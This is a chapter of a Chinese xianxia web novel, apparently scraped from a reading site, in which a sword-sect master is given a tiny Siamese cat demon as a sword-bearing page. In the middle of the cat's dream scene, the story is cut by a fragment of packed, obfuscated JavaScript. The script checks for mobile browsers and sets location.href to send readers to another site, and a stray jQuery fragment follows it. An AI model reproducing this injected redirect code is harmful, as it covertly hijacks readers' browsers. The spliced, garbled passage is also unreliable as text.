“隐迢,看我给你带什么来了!”
天极剑宗的掌门归云真人脚踩着飞剑,人影还没落地,声音已经飘进了正在练剑的人耳朵里。
归云真人不等收起飞剑,纵身从空中跃下,同时手从袖子里摸出来一个小玩意。
隐迢掐了剑诀,右手握着的剑还未归鞘,怀里就被归云真人塞了个东西进来。
隐迢一愣。
万年如一的脸上罕见地露出点惊诧的意味。
隐迢手中的触感软软的,带着不属于天极剑宗的温热。小东西缩在隐迢的手中,把自己团成一个圆形。
毛色不算白,甚至有点泛黄发灰。耳朵尖也有点黑,隐迢只当是野猫崽子在山林间滚了一身土。
即便是从归云真人袖子里转移到了隐迢的手上,睡着的小猫崽子没有受到丝毫的干扰。
肚皮还在有规律的上下起伏着。
呼吸声平稳而悠长。
“小猫崽子?在天极剑宗地界天寒地冻,这么小的猫崽子也活不下去,师弟你捡它回来也是一件功德。”
归云真人就着他的手,在小猫头上摸了一把,“不是我捡的,羡青山长老为了报答你救他们全族之恩,把这只小猫崽子送来给你当个抱剑童子。”
隐迢纳罕,他手里这只小猫崽子居然还是个妖修?
他居然一点灵气起伏都没有感觉到。
但是听到要让猫崽子给他做抱剑童子,隐迢皱着眉直接拒绝了,“我踏入剑道千百年来,从未有过抱剑童子,剑就是我的身体,何须假借他人之手。”
“再说了,我何时救过羡青山的人?”
归云真人:“上月你执剑过平远岗,不是正好遇见魔狼族暴动?羡青山就在那里,你一剑荡平了魔狼一族,羡青山的猫妖们都感念你的大恩。”
归云真人指着猫崽,“送一只小猫崽子给你当个抱剑童子,也算还了这份恩情。”
修真之人,多修的是自我之道,讲究一个行走在外不欠因果。今日得了他人之恩,若不尽快还了这份因果线,拖到日后,小境界突破之时,往往会多生些事端。
隐迢皱了皱眉头。
正好他右手中的剑还未收回去,隐迢右手举着剑,凑近左手中的小猫崽子,用剑和小猫崽子做比较。
团在他左手中的小猫球,感觉和他手中的剑柄才勉强一般大。
隐迢再抬起头看向归云的眼神很明确地流露出一种意味:这么小的猫,你说他能抱剑?
归云真人尴尬地摸了摸并不存在的胡子,“练剑要从娃娃抓起,猫也一样。”
归云真人劝他,“你这辟起峰上,几百年时间了只有你一个人,往日里别说宗门的仙鹤绕着你走,受剑气影响你这里连一根草都不长,长久不沾人气,对你修行无益。”
隐迢听了他的话,向四周眺去。归云真人所言不假,剑修住的山头上,长年累月受剑气影响,寻常可见的花花草草都难以在这里生根。
这会儿他的辟起峰上,只有山顶终年不化的积雪,除他之外没有一个能喘气的活物。
隐迢的目光又落在自己左手上。
猫崽子把脸整个埋进了他的掌心里,隐迢此时虽然看不见猫脸,但感受着手掌中传来的毛茸茸的触感,心中终归是和摸着石头感觉不一样。
但这不是归云真人给他塞一只猫的理由。
天极剑宗不少弟子都喜欢养点灵宠,灵猫灵狗最是得这些弟子喜爱。不论是内门弟子还是外院弟子,只要不练剑,就凑在一起玩猫逗狗。
往日里灵宠之间打了架、起了争端,他们的主人都少不了凑在一起干一仗。
隐迢偶尔在飞剑上路过时,总会听到下边“喵喵喵”“汪汪汪”的声音,和着弟子们的笑闹声,好不热闹。
想起这幅画面,隐迢感觉自己手里捧着的不是一只猫崽子,而是日后无数的麻烦事儿。
别的暂且不论,单就一只猫能发出来的声音,隐迢都觉得无比吵闹。
隐迢孤身一人生活了百年,早已习惯了辟起峰上的清冷。
不容他拒绝,袖中白光一闪,归云真人便已踩在了飞剑之上,脸上还做出一副天机不可泄露的高深神情,
“羡青山的长老送他来时我替你起了一卦,你下一劫就在这猫身上,好生养着吧。”
话音刚落,归云真人便已不见了踪影。
烫手的小猫就落在了隐迢这里。
听到归云真人的话,隐迢凭借自己大乘期的修为,隐隐有了种不祥的预感。
而小猫崽子睡得还不省猫事。
隐迢叹了口气,先把猫放回洞府内的蒲团上。
没有了隐迢掌心的温度,刚落在蒲团上,小猫崽子就有些不安分的开始缩着身子,鼻尖到处嗅来嗅去,唯独眼睛还紧紧地闭着。
隐迢看见它“孱弱不能自理”的样子,感觉事情好像更麻烦了。
但是上天有好生之德,他往日里执剑杀妖魔除蛮兽是一回事,他自诩是公正之行,无愧于心,无愧于天地。
若是平白无故把一只猫崽子冻死在自己房里,那就是平白添了杀孽。
隐迢看着猫球,掐了一个春风诀,蒲团上瞬间暖和了起来。猫球不再有动静,老老实实睡着了。
隐迢便不再管它,重新回练剑台上修习剑术去了。
……
衔墨梦里梦到自己被狸花大婶叼着跑去了雪山上玩,狸花婶子玩得太开心,嘴一张,把它掉进了雪坑里。
这个雪坑又深又大,衔墨掉进去,无论怎么挣扎都爬不出去。
冻死猫了。
衔墨冷得浑身打摆子,原本翘在空中神俊威武的胡子都垂落了下来。
即使他把四只爪爪全都缩进肚皮下面,用尾巴来溜缝,都会有瑟瑟寒风一个劲往他身体里钻。
衔墨心想完蛋了,在雪地里冻这么一遭,他今天回去非得变成冻梨不可,山洞对面的柏雪肯定又要嘲笑他,笑他黑漆漆的像个挖煤不洗脸的脏脏猫。
衔墨有些沮丧地缩了缩鼻子。
算了,嘲笑就嘲笑吧。
谁让他是暹罗猫呢。
暹罗猫被冻了之后,就是会变黑的呀。虽然他可以用法力把自己再变白,但是他体内空乏的灵力还要留着用来种菜捞鱼……还是黑着好了。
衔墨盘算着,先把体内的灵力留着,等到他菜园子里这一茬番茄熟了之后,再把自己变白好了。
忽然,狸花婶子又回来把他从雪坑里刨了出来,放到了热炕上。
衔墨瞬间感觉自己活过来了。他把缩在肚皮底下的猫爪爪全都伸了出来,睡成了一张猫饼。
衔墨翻过来睡一会又翻过去睡。
睡来睡去感觉睡的天都从东边转到了西边。狸花婶子今天怎么还不来喊他起床,今天地里的辣椒应该能摘了……
不对!
衔墨一咕噜爬了起来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540791|170970||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>非常不对!
他还摘什么辣椒?!长老说给他找了个好去处,那里有他的大机缘,按照长老的脚程来计算,他今天应该已经到天极剑宗了才对!
衔墨对于什么大机缘其实并不感兴趣。这种听起来玄之又玄,虚无缥缈的东西,对他而言,还不如去河里捞两条比他还大的大鲤鱼来的实在。
他洞穴门口的花椒树今年秋天刚收了一茬花椒,和他地里自己种的辣椒一起,做成一盘香辣烤鱼,别提有多美了。
长老一厢情愿要把他送过来,衔墨人微言轻,他不同意的话也没人会听,反正他也要报答人家的救命之恩,若不是隐迢仙长,他也会死在魔狼嘴下,所以他也懒得反抗。
就算他愿意来,人家天极剑宗还不见得乐意要他呢。
反正在衔墨心中,天极剑宗可是天下第一的剑宗,资质条件比他好十万八千里的灵宠妖兽人家什么没见过,肯定看不上他。
等到天极剑宗拒绝他后,他就美滋滋地收拾包袱外出游历。
正好羡青山上的食物他已经有点吃腻了。
衔墨都想好了,下一次游历的话他就要住到海边去。
猫吃一段时间的山珍,就应该改改口味,吃一点海味。新鲜的扇贝生蚝,据说比猫还大的龙虾螃蟹,无论是清蒸红烧还是麻辣都无比鲜嫩的大海鱼……
衔墨想着想着就吞了一下口水。
这时他湖蓝的猫眼才看清洞穴内的场景,这既不是羡青山长老的飞舟,也不是他的洞穴!
他的洞穴这辈子都没有如此简陋过。
放眼望去整个洞府一览无遗,空到衔墨感觉天极剑宗的护山大阵就是多余的。
贼进来看到如此简单的陈设,不仅什么都偷不走,好心的贼甚至还可能自掏腰包给屋主留下点东西。
衔墨圆溜溜的眼睛转来转去,就只在空荡荡的洞府里看到了自己身下的石台和一个蒲团。
衔墨低头看了看自己爪爪下边踩着的蒲团——就是字面意义上简简单单的一个蒲团,麦草编织的,纯天然手工制造。
没有丝毫修饰,连一点棉花都没舍得塞。就这么孤零零的一个蒲团放在石台上。
衔墨试探着用爪爪踩了一下石台,触电般飞快地把爪子收了回来。再晚一秒,衔墨都怕自己的肉垫被冻伤了。
冷,太冷了。比直接踩进雪地里都冷得多,
真不愧是地处星洲大陆最北端的天极剑宗。
既然他出现在这个洞府里,这是不是意味着,他被天极剑宗的人留下来了?
衔墨不仅眼前一黑又一黑。
不要啊!
猫真的过不了如此清贫痛苦的生活!!!
衔墨生无可恋地把尾巴盘在爪子上蹲坐下来,他去海边度假的美好愿望落空了。这会儿只能祈祷选他做抱剑童子的人不要太残暴。
衔墨心想,要是人太坏的话,猫就要偷偷跑掉了。
他是妖修可不是契约妖兽。人是不能束缚他的。
忽然洞穴外传来了些许轻微的响动。
衔墨的耳朵抖了抖,有人来了。
衔墨还抱有不确定的心态,试探地向外看去,正好猫蓝盈盈的眼睛撞进了一个男人的眼瞳中。
衔墨瞬间就愣住了,看着男人的脸一声都没坑出来,男人好像还说了话,衔墨一个字也没听清。
衔墨晕乎乎地想,长这么好看的人,就算坏一点,猫也是可以接受的。